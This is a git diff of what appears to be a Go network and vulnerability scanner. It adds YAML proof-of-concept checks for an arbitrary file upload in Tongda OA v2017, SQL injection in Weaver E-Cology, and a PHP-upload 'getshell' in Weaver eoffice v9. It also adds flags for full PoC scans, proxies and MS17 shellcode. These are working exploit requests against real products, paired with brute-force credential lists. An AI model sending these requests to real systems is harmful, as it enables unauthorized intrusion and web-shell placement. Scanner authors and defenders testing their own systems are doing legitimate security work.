b/WebScan/pocs/tongda-v2017-uploadfile.yml new file mode 100644 index 0000000..e737d72 --- /dev/null +++ b/WebScan/pocs/tongda-v2017-uploadfile.yml @@ -0,0 +1,50 @@ +name: tongda-v2017-uploadfile +set: + rand1: randomLowercase(12) + fileContent: randomLowercase(12) +rules: + - method: POST + path: /module/ueditor/php/action_upload.php?action=uploadfile + headers: + Content-Type: multipart/form-data; boundary=55719851240137822763221368724 + body: | + -----------------------------55719851240137822763221368724 + Content-Disposition: form-data; name="CONFIG[fileFieldName]" + + ffff + -----------------------------55719851240137822763221368724 + Content-Disposition: form-data; name="CONFIG[fileMaxSize]" + + 1000000000 + -----------------------------55719851240137822763221368724 + Content-Disposition: form-data; name="CONFIG[filePathFormat]" + + tcmd + -----------------------------55719851240137822763221368724 + Content-Disposition: form-data; name="CONFIG[fileAllowFiles][]" + + .txt + -----------------------------55719851240137822763221368724 + Content-Disposition: form-data; name="ffff"; filename="{{rand1}}.txt" + Content-Type: application/octet-stream + + {{fileContent}} + -----------------------------55719851240137822763221368724 + Content-Disposition: form-data; name="mufile" + + submit + -----------------------------55719851240137822763221368724-- + expression: | + response.status == 200 + - method: GET + path: /{{rand1}}.txt + expression: | + response.status == 200 && response.body.bcontains(bytes(fileContent)) +detail: + author: zan8in + description: | + 通达OA v2017 action_upload.php 任意文件上传漏洞 + 通达OA v2017 action_upload.php 文件过滤不足且无需后台权限,导致任意文件上传漏洞 + app="TDXK-通达OA" + links: + - http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v2017%20action_upload.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.html diff --git a/WebScan/pocs/weaver-E-Cology-getSqlData-sqli.yml b/WebScan/pocs/weaver-E-Cology-getSqlData-sqli.yml new file mode 100644 index 0000000..f5c08ad --- /dev/null +++ b/WebScan/pocs/weaver-E-Cology-getSqlData-sqli.yml @@ -0,0 +1,13 @@ +name: poc-yaml-weaver-E-Cology-getSqlData-sqli +rules: + - method: GET + path: /Api/portal/elementEcodeAddon/getSqlData?sql=select%20@@version + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b'Microsoft SQL Server') + +detail: + author: PeiQi0 + links: + - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Cology%20getSqlData%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md + tags: weaver,sqli diff --git a/WebScan/pocs/weaver-oa-eoffice-v9-upload-getshell.yml b/WebScan/pocs/weaver-oa-eoffice-v9-upload-getshell.yml new file mode 100644 index 0000000..1e69877 --- /dev/null +++ b/WebScan/pocs/weaver-oa-eoffice-v9-upload-getshell.yml @@ -0,0 +1,25 @@ +name: poc-yaml-weaver-oa-eoffice-v9-upload-getshell +manual: true +transport: http +set: + r1: randomLowercase(8) +rules: + - method: POST + path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= + headers: + Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4 + body: |- + --e64bdf16c554bbc109cecef6451c26a4 + Content-Disposition: form-data; name="Filedata"; filename="test.php" + Content-Type: image/jpeg + {{r1}} + --e64bdf16c554bbc109cecef6451c26a4-- + expression: response.status == 200 && response.body.bcontains(b"logo-eoffice.php") + - method: GET + path: /images/logo/logo-eoffice.php + follow_redirects: true + expression: response.status == 200 && response.body.bcontains(bytes(r1)) +detail: + author: szd790056181 + links: + - http://www.ctfiot.com/13682.html diff --git a/common/Parse.go b/common/Parse.go index efe1f81..e62d84f 100644 --- a/common/Parse.go +++ b/common/Parse.go @@ -122,6 +122,7 @@ func ParseInput(Info *HostInfo) { if BruteThread <= 0 { BruteThread = 1 } + if TmpOutputfile != "" { if !strings.Contains(Outputfile, "/") && !strings.Contains(Outputfile, `\`) { Outputfile = getpath() + TmpOutputfile @@ -129,9 +130,11 @@ func ParseInput(Info *HostInfo) { Outputfile = TmpOutputfile } } + if TmpSave == true { IsSave = false } + if Info.Ports == DefaultPorts { Info.Ports += "," + Webport } @@ -157,6 +160,9 @@ func ParseInput(Info *HostInfo) { Passwords = append(Passwords, pass...) Passwords = RemoveDuplicate(Passwords) } + if Socks5Proxy != "" && !strings.HasPrefix(Socks5Proxy, "socks5://") { + Socks5Proxy = "socks5://" + Socks5Proxy + } } func ParseScantype(Info *HostInfo) { diff --git a/common/config.go b/common/config.go index b509297..c1f02dc 100644 --- a/common/config.go +++ b/common/config.go @@ -1,6 +1,6 @@ package common -var version = "1.7.1" +var version = "1.8.0" var Userdict = map[string][]string{ "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, "mysql": {"root", "mysql"}, @@ -107,4 +107,5 @@ var ( BruteThread int LiveTop int Socks5Proxy string + PocFull bool ) diff --git a/common/flag.go b/common/flag.go index b886c14..4b8dbb5 100644 --- a/common/flag.go +++ b/common/flag.go @@ -51,13 +51,15 @@ func Flag(Info *HostInfo) { flag.BoolVar(&TmpSave, "no", false, "not to save output log") flag.Int64Var(&WaitTime, "debug", 60, "every time to LogErr") flag.BoolVar(&Silent, "silent", false, "silent scan") + flag.BoolVar(&PocFull, "full", false, "poc full scan,as: shiro 100 key") flag.StringVar(&URL, "u", "", "url") flag.StringVar(&UrlFile, "uf", "", "urlfile") flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic") flag.StringVar(&Pocinfo.Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080") flag.StringVar(&Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work") - flag.StringVar(&Pocinfo.Cookie, "cookie", "", "set poc cookie") + flag.StringVar(&Pocinfo.Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login") flag.Int64Var(&Pocinfo.Timeout, "wt", 5, "Set web timeout") flag.IntVar(&Pocinfo.Num, "num", 20, "poc rate") + flag.StringVar(&SC, "sc", "", "ms17 shellcode,as -sc add") flag.Parse() } diff --git a/go.mod b/go.mod index bb425b6..4e7b167 100644 --- a/go.mod +++ b/go.mod @@ -10,7 +10,7 @@ require ( github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect github.com/jlaffaye/ftp v0.0.0-20211117213618-11820403398b github.com/lib/pq v1.10.4 - github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca + github.com/satori/go.uuid v1.2.0 github.com/sijms/go-ora/v2 v2.2.16 github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 @@ -18,7 +18,8 @@ require ( golang.org/x/net v0.0.0-20210226172049-e18ecbb05110 golang.org/x/text v0.3.3 google.golang.org/genproto v0.0.0-20200416231807-8751e049a2a0 - gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b + gopkg.in/yaml.v2 v2.4.0 + gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b // indirect ) replace github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 => github.com/shadow1ng/grdp v1.0.3 diff --git a/go.sum b/go.sum index 924d319..c7e1afb 100644 --- a/go.sum +++ b/go.sum @@ -188,8 +188,8 @@ github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6So github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= -github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca h1:NugYot0LIVPxTvN8n+Kvkn6TrbMyxQiuvKdEwFdR9vI= -github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU= +github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww= +github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= github.com/shadow1ng/grdp v1.0.3 h1:d29xgHDK4aa3ljm/e/yThdJxygf26zJyRPBunrWT65k= github.com/shadow1ng/grdp v1.0.3/go.mod h1:3ZMSLWUvPOwoRr6IwpAQCzKbLEZqT80sbyxxe6YgcTg= @@ -386,6 +386,7 @@ gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bl gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=